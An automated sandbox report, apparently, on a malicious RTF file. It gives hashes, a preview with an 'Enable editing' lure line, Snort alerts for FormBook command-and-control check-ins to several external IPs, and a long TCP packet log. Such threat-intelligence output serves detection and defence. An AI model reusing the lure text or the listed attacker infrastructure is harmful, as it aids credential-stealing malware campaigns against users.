MD5:	7ebb7f9239d5dea3e17fd9b51f12c5a7
SHA1:	8b73d2e1bf47b9150706d3fbfad2878447e750bf
SHA256:	49eae141b85b2dee809a1e86df1518d2d32a79367cf1a01f55f98c98d32f59ce
SHA512:	a3218c3415a313e62c6bcb16cca2620970479a053813a829a33b017897923295fd1ca398225116be065db74c863dde450fa314966dba0150f08a07de749bb03d
SSDEEP:	3072:ywAlawAlawAlawAlawAl4iCVKOHLH6CjD4ITLw:ywAYwAYwAYwAYwACiCVnHzJA
TLSH:	0614CF6DD34B02698F620337AB171E5141BDBA7EF38552B1306C537933EAC39A1252BE
File Content Preview:	{\rtf1..{\*\w19tij52d6pUSSiLdrlXDteAhWm4QJhc2wlsEpzoo8D0vwTMdjgHZ4Rv5XInOz0dByHPJQchtcREUPWmgfcAmwLbtTIKCNUNO2yfWwjLwUmMgHdGoatKLw7sBF3oOqwVi28nMm7PzdXV1xbR4NlxqTZPzksPUo7eAr2wMLaY3yyq}..{\476412172please click Enable editing from the yellow bar above.The

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0000B44Bh								no

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/02/24-08:28:41.519542	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49185	80	192.168.2.22	183.111.183.31
05/02/24-08:29:16.698315	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49193	80	192.168.2.22	154.41.250.58
05/02/24-08:29:58.393847	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49201	80	192.168.2.22	208.91.197.13
05/02/24-08:27:38.140761	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49169	80	192.168.2.22	94.23.162.163
05/02/24-08:29:36.365325	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49197	80	192.168.2.22	183.111.183.31
05/02/24-08:28:05.644786	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49177	80	192.168.2.22	91.195.240.19
05/02/24-08:29:01.993967	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49189	80	192.168.2.22	67.223.117.189
05/02/24-08:27:51.914592	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49173	80	192.168.2.22	194.9.94.86
05/02/24-08:26:56.872559	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49164	80	192.168.2.22	66.96.161.166
05/02/24-08:28:23.793699	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49181	80	192.168.2.22	198.12.241.35

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 08:26:08.237138033 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.237183094 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.237232924 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.248317003 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.248336077 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.439745903 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.439810991 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.451601982 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.451617956 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.452004910 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.452049971 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.545561075 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.592123985 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.880625010 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.880682945 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.880714893 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.880732059 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.880743027 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.880780935 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.880786896 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.880825043 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.880837917 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.880886078 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.880985022 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.881038904 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.881043911 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.881089926 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.881097078 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.881146908 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.881162882 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.881216049 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.881221056 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.881273031 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.881310940 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.881376982 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.881381989 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.881552935 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.885504961 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.985701084 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.985774040 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.985852957 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.985929966 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.985935926 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.985977888 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.985981941 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.986027956 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.986037016 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.986073971 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.986169100 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.986224890 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.986227989 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.986355066 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.986460924 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.986530066 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.986534119 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.986743927 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.986747980 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.986824989 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.986902952 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.986952066 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.986979961 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987020016 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.987025976 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987061024 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.987067938 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987112999 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.987124920 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987169981 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.987174034 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987212896 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.987627983 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987715960 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.987719059 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987730026 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987869978 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:08.987874985 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:08.987937927 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.094187975 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.094312906 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.094346046 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.094404936 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.094436884 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.094444990 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.094456911 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.094541073 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.094763994 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.094810009 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.094815016 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.094901085 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.094966888 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.095030069 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.095041037 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.095082998 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.095093966 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.095148087 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.095150948 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.095201015 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.095253944 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.095313072 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.095861912 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.095949888 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.096170902 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.096230984 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.096707106 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.096765041 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.096771002 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.096822023 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.097067118 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.097129107 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.097697020 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.097815037 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.097898006 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.097965002 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.098411083 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.098474979 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.098712921 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.098783016 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.099176884 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.099253893 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.202703953 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.202810049 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.202817917 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.202891111 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.203082085 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.203161001 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.203392982 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.203448057 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.203452110 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.203541994 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.203881025 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.203953028 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.204029083 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.204077959 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.204437971 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.204499006 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.204565048 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.204675913 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.205421925 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.205565929 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.205749035 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.205800056 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.205904961 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.205950975 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.206074953 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.206162930 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.206399918 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.206465006 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.206945896 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.207030058 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.207149982 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.207216978 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.207226038 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.207350016 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.207700968 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.207775116 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.207947016 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.208069086 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.208076000 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.208122015 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.208749056 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.208838940 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.208885908 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.208921909 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.209108114 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.209167004 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.209691048 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.209795952 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.210144043 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.210258007 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.210647106 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.210737944 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.210912943 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.210977077 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.211003065 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.211061001 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.211776018 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.211846113 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.211852074 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.211901903 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.211940050 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.212033987 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.212503910 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.212593079 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.316704035 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.316714048 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.316751957 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.316807985 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.316839933 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.316854000 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.318511009 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.318557978 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.318598032 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.318612099 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.318627119 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.318669081 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.319920063 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.319964886 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.319989920 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.320009947 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.320022106 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.320022106 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.320071936 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.320094109 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.321333885 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.321366072 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.321393967 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.321409941 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.321439028 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.321449995 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.321476936 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.322554111 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.322594881 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.322622061 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.322642088 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.322654009 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.322669983 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.322724104 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.324496031 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.324537992 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.324580908 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.324599981 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.324610949 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.324623108 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.324651003 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.325975895 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.326044083 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.326080084 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.326080084 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.326085091 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.326128960 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.327810049 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.327852011 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.327888012 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.327888012 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.327893972 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.327910900 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.327960014 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.328041077 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.329451084 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.329514027 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.329560041 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.329560041 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.329566002 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.329621077 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.330405951 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.330450058 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.330468893 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.330473900 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.330504894 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.330504894 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.330527067 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.332001925 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.332037926 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.332081079 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.332081079 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.332087040 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.332102060 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.332123995 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.333722115 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.333772898 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.333818913 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.333818913 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.333825111 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.333870888 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.334984064 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.335027933 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.335057020 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.335063934 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.335079908 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.335112095 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.335468054 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.335807085 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.335846901 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.335880995 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.335880995 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.335886955 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.335982084 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.427840948 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.427942991 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.427963018 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.427994013 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.428009987 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.428054094 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.429296970 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.429338932 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.429368019 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.429382086 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.429400921 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.429442883 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.429442883 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.431349039 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.431416988 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.431426048 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.431444883 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.431473970 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.431483984 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.432612896 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.432673931 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.432722092 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.432722092 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.432737112 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.432797909 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.433660030 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.433756113 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.434402943 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.434472084 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.435228109 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.435272932 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.435313940 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.435313940 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.435327053 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.435436964 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.435532093 CEST	49163	443	192.168.2.22	104.21.74.191
May 2, 2024 08:26:09.435950041 CEST	443	49163	104.21.74.191	192.168.2.22
May 2, 2024 08:26:09.436024904 CEST	49163	443	192.168.2.22	104.21.74.191
